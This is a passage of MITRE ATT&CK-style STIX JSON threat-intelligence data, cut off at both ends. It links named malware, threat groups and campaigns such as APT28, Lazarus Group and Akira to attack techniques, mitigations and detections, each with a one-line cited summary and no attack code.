2019)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d3366503-cb6e-4fd3-9d93-ae9ee2faa0d4","type":"relationship","created":"2021-03-08T13:45:43.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:08.935Z","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can delete files from a compromised host.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d336d669-ef00-476d-81f6-0fe88093e1e6","created":"2022-07-25T17:35:14.162Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Mongall](https://attack.mitre.org/software/S1026) can identify drives on compromised hosts and retrieve the hostname via `gethostbyname`.(Citation: SentinelOne Aoqin Dragon June 2022)\n","modified":"2022-07-25T17:57:40.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d33b14b1-7501-4bb3-af8c-3e2202fa572f","created":"2024-04-04T18:06:38.218Z","revoked":false,"external_references":[{"source_name":"Kersten Akira 2023","description":"Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.","url":"https://www.trellix.com/blogs/research/akira-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T18:06:38.218Z","description":"[Akira](https://attack.mitre.org/software/S1129) verifies the deletion of volume shadow copies by checking for the existence of the process ID related to the process created to delete these items.(Citation: Kersten Akira 2023)","relationship_type":"uses","source_ref":"malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d348102c-89dc-452a-b86d-2460928defaa","type":"relationship","created":"2019-10-04T19:41:47.000Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Pawn Storm OAuth 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks","description":"Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."}],"modified":"2020-03-20T16:37:06.241Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used several malicious applications to steal user OAuth access tokens including applications masquerading as \"Google Defender\" \"Google Email Protection,\" and \"Google Scanner\" for Gmail users. They also targeted Yahoo users with applications masquerading as \"Delivery Service\" and \"McAfee Email Protection\".(Citation: Trend Micro Pawn Storm OAuth 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d35934e8-c16e-4820-a0ad-88e0eff27554","created":"2021-05-26T12:32:59.061Z","x_mitre_version":"1.0","external_references":[{"source_name":"ClearSky and Trend Micro Operation Wilted Tulip July 2017","url":"https://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf","description":"ClearSky and Trend Micro. (2017, July). Operation Wilted Tulip - Exposing a cyber espionage apparatus. Retrieved May 17, 2021."},{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CopyKittens](https://attack.mitre.org/groups/G0052) has used Metasploit, [Empire](https://attack.mitre.org/software/S0363), and AirVPN for post-exploitation activities.(Citation: ClearSky and Trend Micro Operation Wilted Tulip July 2017)(Citation: Microsoft POLONIUM June 2022)","modified":"2022-08-08T21:27:55.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d35ccc13-9b62-4879-b625-7d15c9a8c981","created":"2022-05-05T17:48:04.439Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) can use a batch script to delete itself.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T17:48:04.439Z","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d35f6c6f-c1ed-4b0d-b95f-9fd762eb3ac7","created":"2017-05-31T21:33:27.066Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster Destructive Malware","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."},{"source_name":"Novetta Blockbuster Loaders","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016."},{"source_name":"Novetta Blockbuster","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."},{"source_name":"McAfee GhostSecret","url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families use timestomping, including modifying the last write timestamp of a specified Registry key to a random date, as well as copying the timestamp for legitimate .exe files (such as calc.exe or mspaint.exe) to its dropped files.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee GhostSecret)","modified":"2022-07-28T18:55:36.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d35f97c3-2776-4f7a-9dfa-be39009ea5c0","created":"2022-10-14T20:21:11.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T20:22:44.579Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors installed the AnyDesk remote desktop application onto the compromised network.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d36067ad-c612-46bb-b857-bb2d74f8f3c2","created":"2022-09-16T21:21:12.589Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T21:21:12.589Z","description":"For [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors used a Visual Basic script embedded within a Word document to download an implant.(Citation: McAfee Honeybee) ","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d361058d-a11b-470d-bed8-44bfd8e50393","type":"relationship","created":"2017-05-31T21:33:27.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}],"modified":"2020-06-22T17:54:15.519Z","description":"A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer can transfer collected files to a hardcoded C2 server.(Citation: Palo Alto Gamaredon Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d36e83a0-5370-4d78-862d-4dbe8921709d","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2019-03-22T19:57:37.382Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used PowerShell for execution.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3720380-6d0d-41a9-a2b5-e0fcc311f486","created":"2022-09-29T20:17:57.395Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T20:17:57.395Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors collected files from network shared drives prior to network encryption.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d373eebb-b578-4b59-9de1-2946bf837d96","type":"relationship","created":"2019-06-24T13:44:34.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-20T21:51:46.292Z","description":"Update software regularly by employing patch management for externally exposed applications.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d374ab1b-4ff8-4ee8-92d2-466581cf58c8","type":"relationship","created":"2021-03-05T18:54:56.534Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."},{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.534Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) used ipconfig to gather network configuration information.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d37d5ca7-59f1-4938-83a6-64d30675a386","type":"relationship","created":"2020-11-10T19:09:21.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T19:09:21.275Z","description":"[Javali](https://attack.mitre.org/software/S0528) has been delivered as malicious e-mail attachments.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--64122557-5940-4271-9123-25bfc0c693db","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d37fac03-0b94-4794-b51a-e7db3d64294b","type":"relationship","created":"2021-04-12T19:26:30.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike MUSTANG PANDA June 2018","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/","description":"Meyers, A. (2018, June 15). Meet CrowdStrike’s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."},{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."}],"modified":"2021-04-12T20:07:51.468Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used malicious PowerShell scripts to enable execution.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d38177b0-03c0-4c59-afa6-eea94a372daa","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:48.038Z","description":"[Pupy](https://attack.mitre.org/software/S0192) adds itself to the startup folder or adds itself to the Registry key SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run for persistence.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3851a98-39b3-4105-ba93-c0cd91eb01eb","created":"2022-10-17T22:00:27.710Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T22:00:27.710Z","description":"Ensure that proper policies are implemented to dictate the the secure enrollment and deactivation of authentication mechanisms, such as MFA, for user accounts.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d38b5509-0587-4128-b18c-123fade07f3a","type":"relationship","created":"2020-11-10T20:55:27.325Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T20:55:27.325Z","description":"[Melcoz](https://attack.mitre.org/software/S0530) has gained execution through victims opening malicious links.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d38fdcaf-2243-460e-9afc-c7a616f45d9e","created":"2022-03-30T14:26:51.872Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls (such as GetAdaptersInfo() and GetIpNetTable()) that may gather details about the network configuration and settings, such as IP and/or MAC addresses.","modified":"2022-04-12T12:44:16.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d393d40d-d18a-4d89-9cc8-b57d3afaa9bf","type":"relationship","created":"2021-10-17T15:10:00.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}],"modified":"2021-10-17T15:10:00.610Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has used EternalBlue exploits for lateral movement.(Citation: TrendMicro Tonto Team October 2020)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d395d0b1-0ce7-46bf-bf8a-5a031f7bbf78","created":"2022-04-11T16:45:09.008Z","x_mitre_version":"0.1","external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Secureworks BRONZE PRESIDENT December 2019)","modified":"2022-04-11T16:45:09.008Z","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d3971408-ef1b-4aae-9477-3319a1b97523","created":"2022-08-31T17:56:43.859Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has enumerated programs installed on an infected machine.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-08-31T17:56:43.859Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d398f48c-9d01-4f6e-bb19-3ebae25cb71c","created":"2023-03-26T15:13:43.659Z","revoked":false,"external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T15:13:43.659Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used account credentials they obtained to attempt access to Group Managed Service Account (gMSA) passwords.(Citation: Microsoft Deep Dive Solorigate January 2021) ","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d39e3775-9221-4020-b826-edc111e36c7c","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","source_name":"Palo Alto OilRig May 2016"}],"modified":"2020-03-18T22:50:09.228Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used net localgroup administrators to find local administrators on compromised systems.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d39e7197-a9b3-4915-8cf0-98bbbd885cd5","created":"2022-02-07T18:12:52.042Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 